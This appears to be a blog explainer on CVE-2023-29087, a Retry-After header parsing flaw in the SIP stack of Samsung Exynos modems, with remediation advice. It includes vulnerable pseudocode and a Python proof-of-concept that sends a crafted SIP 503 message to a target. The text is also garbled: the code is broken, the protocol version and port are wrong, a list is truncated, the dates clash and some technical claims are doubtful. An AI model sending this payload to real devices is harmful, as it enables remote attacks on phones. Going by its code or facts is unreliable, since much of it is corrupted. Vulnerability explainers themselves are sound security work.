In March 2023, Samsung quietly patched a significant vulnerability in several of their Exynos chipset lines—CVE-2023-29087. This flaw, lurking in the SIP (Session Initiation Protocol) stack of their mobile, automotive, and modem chipsets, could let an attacker cause memory corruption simply by sending a crafted “Retry-After” header over the air. If you want to understand, with code snippets and references, the basic outlines and risks of this bug, keep reading.
What Exactly Is CVE-2023-29087?
- Affected chips: Exynos Modem 5123, Exynos Modem 530, Exynos 980, Exynos 108, Exynos 911, and Exynos Auto T5123
Root cause: Improper validation of the Retry-After value in SIP headers
Put simply, SIP is the protocol that handles phone calls and messages. It can be sent over LTE/5G networks directly to the modem. If the modem receives a malformed Retry-After header, and doesn’t check the value properly, it can be tricked into overwriting its own memory. That can crash the modem—or, worse, let hackers run code.
How The Exploit Works (Simplified)
The bug lies in how the “Retry-After” header is parsed and interpreted in the SIP stack. If a too-large or negative value is included, and input checks are weak, the code that stores this header can go out-of-bounds.
Let’s walkthrough a rough simulation of what that code might look like (for demo only, not Samsung actual code):
Vulnerable C-like Pseudocode
int handle_retry_after(char* header) {
// Extract value, assuming simple format: "Retry-After: 999999999"
int value = atoi(header + 13); // risky: no bounds checking
if (value > && value < 360) {
retry_after_seconds = value;
} else {
// Supposed to reject
do_default_action();
}
// Vulnerable: what if atoi returns a huge or negative number?
sleep(retry_after_seconds); // out-of-bounds memory access possibility if used differently
}
For this bug, an attacker can craft a header like
Retry-After: 2147483647
Because of missing or weak validation, retry_after_seconds can become a massive value, potentially causing buffer overflows, integer overflows, or other memory bugs deep in modem code, all from a remote network packet.
Can Someone Really Trigger This?
Yes. The attack surface is the SIP stack in the modem firmware. Laser-focused attackers (like spyware companies, surveillance actors, or advanced cybercriminals) can transmit malformed SIP packets to target devices as long as they know how to address your phone or SIM.
Why Does This Matter?
- High risk: Exploiting the modem can bypass OS security (Android/iOS sandbox).
Modem firmware unpacks the header, directly parses value with little or no validation
4. Out-of-bounds value corrupts memory (either a buffer overflow, freed pointer, or other heap error)
5. Device may reboot, lose connectivity, or (with further exploitation) attacker gains code execution inside modem
Real-World Snippet: How an Exploit Might Look
_This is a Python code snippet to generate a SIP 503 with an abnormal header. It’s meant for educational demonstration on test hardware only._
import socket
sip_msg = (
"SIP/2. 503 Service Unavailable\r\n"
"Retry-After: 2147483647\r\n"
"Via: SIP/2./UDP test.example.com;branch=z9hG4bK776asdhds\r\n"
"From: <sip:attacker@example.com>\r\n"
"To: <sip:victim@example.com>\r\n"
"\r\n"
)
# Send to SIP port of device
UDP_IP = "<TARGET_IP>"
UDP_PORT = 506
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(sip_msg.encode(), (UDP_IP, UDP_PORT))
How Samsung Fixed It
Samsung now enforces strict sanity checks on the value of Retry-After and other SIP headers in newer firmware versions. If a suspicious or oversized value is seen, the parser drops the packet and logs an error rather than attempting to use the value.
Samsung Security Bulletin
- June 2023 SMR: SVE-2023-29087 (CVE-2023-29087)
Mitre CVE Directory
General Reading on SIP Security
Some Samsung mobile models powered by affected Exynos modems
- Galaxy S20/S21 (varies by region)
Some automotive units running Exynos modems
Always refer to Samsung Mobile Security Updates to check your exact model.
Update your device firmware to the latest patch level.
- If your carrier/device is slow to update, consider using airplane mode in risky environments.
- Do not use test/found phones with old firmware for sensitive communications.
In Summary
CVE-2023-29087 highlights how deep protocol bugs in mobile basebands can expose powerful attacks—often with little user warning or easy fixes. Because this vulnerability can be triggered over the air, keeping devices fully patched is your best defense.
For researchers and defenders, this also underlines the critical need to pressure manufacturers for transparency and regular security fixes for modem firmware, not just the main OS.
*Stay safe—keep your device up to date, and follow trusted security bulletins for your hardware.*
If you’re technical and want to analyze deeper, see Samsung’s advisory and the Mitre CVE page.
Timeline
Published on: 04/14/2023 21:15:00 UTC
Last modified on: 04/24/2023 16:51:00 UTC